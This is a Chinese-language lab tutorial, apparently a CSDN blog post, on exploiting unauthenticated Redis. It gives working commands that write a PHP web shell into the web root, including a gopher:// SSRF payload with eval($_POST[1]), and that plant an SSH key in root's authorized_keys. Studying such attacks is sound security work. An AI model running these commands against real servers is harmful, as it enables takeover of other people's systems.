Redis 未授权利用

Redis 未授权

要点

  • redis 和 ssrf 经常绑定

  • redis 端口 6379

  • redis 在内网常见

由于服务安装启动的时候默认不需要账户名密码认证,并且默认可以直接向服务器写入文件,也不需要进行额外的配置,这种情况下会造成任意文件的写入,此时攻击者可以向 web 目录下写一句话木马,也可以写入 ssh 公钥

windows 下载 git 终端,生成公钥和私钥

利用:

  1. 如果有 web 服务,可以向 web 根目录下写一句话木马
  2. 如果服务器存在 ssh,直接写入 ssh 公钥实现免密码登录

安装 Redis

配置网络,确保能上网

查看网卡

ip a

image-20231214113809005

编辑该网卡的配置文件

cd /etc/sysconfig/network-scripts/
vim ifcfg-ens33

自动分配 ip

image-20231214114015206

重启网卡

systemctl restart network

配置 yum 源

进入 yum 源目录

cd /etc/yum.repos.d

删除官方源

mkdir bak
mv * bak

下载并补充 yum 源

wget -O /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-7.repo

yum install -y http://rpms.famillecollet.com/enterprise/remi-release-7.rpm

image-20231214172434485

下载 redis

yum install redis* -y

image-20231214172812942

利用 redis 木马文件

启动 redis

redis-server

image-20231214172942471

模拟创建 web 根目录

mkdir -p /var/www/html

启动 redis 客户端(另起一个终端)

redis-cli

模拟写入 php 语句

# 清空数据
flushall

# 定向哪个目录写文件
config set dir /var/www/html

# 指定数据库文件名
config set dbfilename shell.php

# 文件内容
set 'webshell' '<?php phpinfo();?>'

save

quit

无需任何认证即可操作 redis 数据库,并且默认情况下就可以有对文件的写入操作

image-20231214173758973

使用 gopher 配合 redis 写入一句话木马

curl -v gopher://127.0.0.1:6379/_set%201%20%22%3C%3Fphp%20eval(%24_POST%5B1%5D)%3B%20%3F%3E%22%20%0Aconfig%20set%20dir%20%2Fvar%2Fwww%2Fhtml%2F%20%0Aconfig%20set%20dbfilename%20shell.php%20%0Asave%0A

redis 写入 ssh 公钥

windows 安装 git,一直点下一步

链接:https://pan.baidu.com/s/1uc4tGfo8tq7FGdUkE_XMtg?pwd=bgly
提取码:bgly

右键,打开 bash

image-20231214181618701

生成 ssh 密钥

ssh-keygen -t rsa

image-20231214182229545

image-20231214182411638

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCy1As7bNAVZ0sdMUIK3R39XniwybqW0RWOugkbikk3584i+8QxoBtgV2GZPX2D2tMpQzkQrav0oQlZrPBnQNLb6UqmvoU+2j0wkxitqFNioy2cqfe2dmk4vMzLVoRVAVKrLNW5lvj88419mWutMIccELu0kIhzirvGCYPvPucEV0mkS1rBCua9k+KKNgulDMBPFpxcedr2vFg8SNL1Y2P87lcJaS0u/uHs5ERjQYLgyPUMC1WKWihRdOOI1LV3zSts6+QN/ly3WfH55MlpKQqOjFWEbIMEKOYtmILEAQfD0v5FFTPTcqZEnQe4C+BY7aPubjBelrCA6/FmBt9qMh1pmSiHL1Db9q8Kuw1Gncp/IWBIcqtsTsPyMx5TOW/EYUdYuhMauwi6CQpBHK3ORlJNZOgI5TeH729/pbuvi/Qj8PyByCyZapx4jCBJzkJSaTJwui1ykZvsmTSUQvZ2wB/iAuIqAi+8GyLQSBoTszQbdu/IbWAgETPSpNLQmFSdJ7M= LEGION@LAPTOP-J130AML3

redis 写入公钥

实战可以使用以下命令

(echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n") > 1.txt
cat 1.txt | redis-cli -h 10.9.47.159

手工模拟

cd /root/.ssh
vim authorized_keys

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCy1As7bNAVZ0sdMUIK3R39XniwybqW0RWOugkbikk3584i+8QxoBtgV2GZPX2D2tMpQzkQrav0oQlZrPBnQNLb6UqmvoU+2j0wkxitqFNioy2cqfe2dmk4vMzLVoRVAVKrLNW5lvj88419mWutMIccELu0kIhzirvGCYPvPucEV0mkS1rBCua9k+KKNgulDMBPFpxcedr2vFg8SNL1Y2P87lcJaS0u/uHs5ERjQYLgyPUMC1WKWihRdOOI1LV3zSts6+QN/ly3WfH55MlpKQqOjFWEbIMEKOYtmILEAQfD0v5FFTPTcqZEnQe4C+BY7aPubjBelrCA6/FmBt9qMh1pmSiHL1Db9q8Kuw1Gncp/IWBIcqtsTsPyMx5TOW/EYUdYuhMauwi6CQpBHK3ORlJNZOgI5TeH729/pbuvi/Qj8PyByCyZapx4jCBJzkJSaTJwui1ykZvsmTSUQvZ2wB/iAuIqAi+8GyLQSBoTszQbdu/IbWAgETPSpNLQmFSdJ7M= LEGION@LAPTOP-J130AML3

image-20231214184708775

此时拥有 ssh 私钥的 git 所在及其就可以免密登录 redis 服务器的 22 端口

image-20231214184822513

  • 23
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

gjl_

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值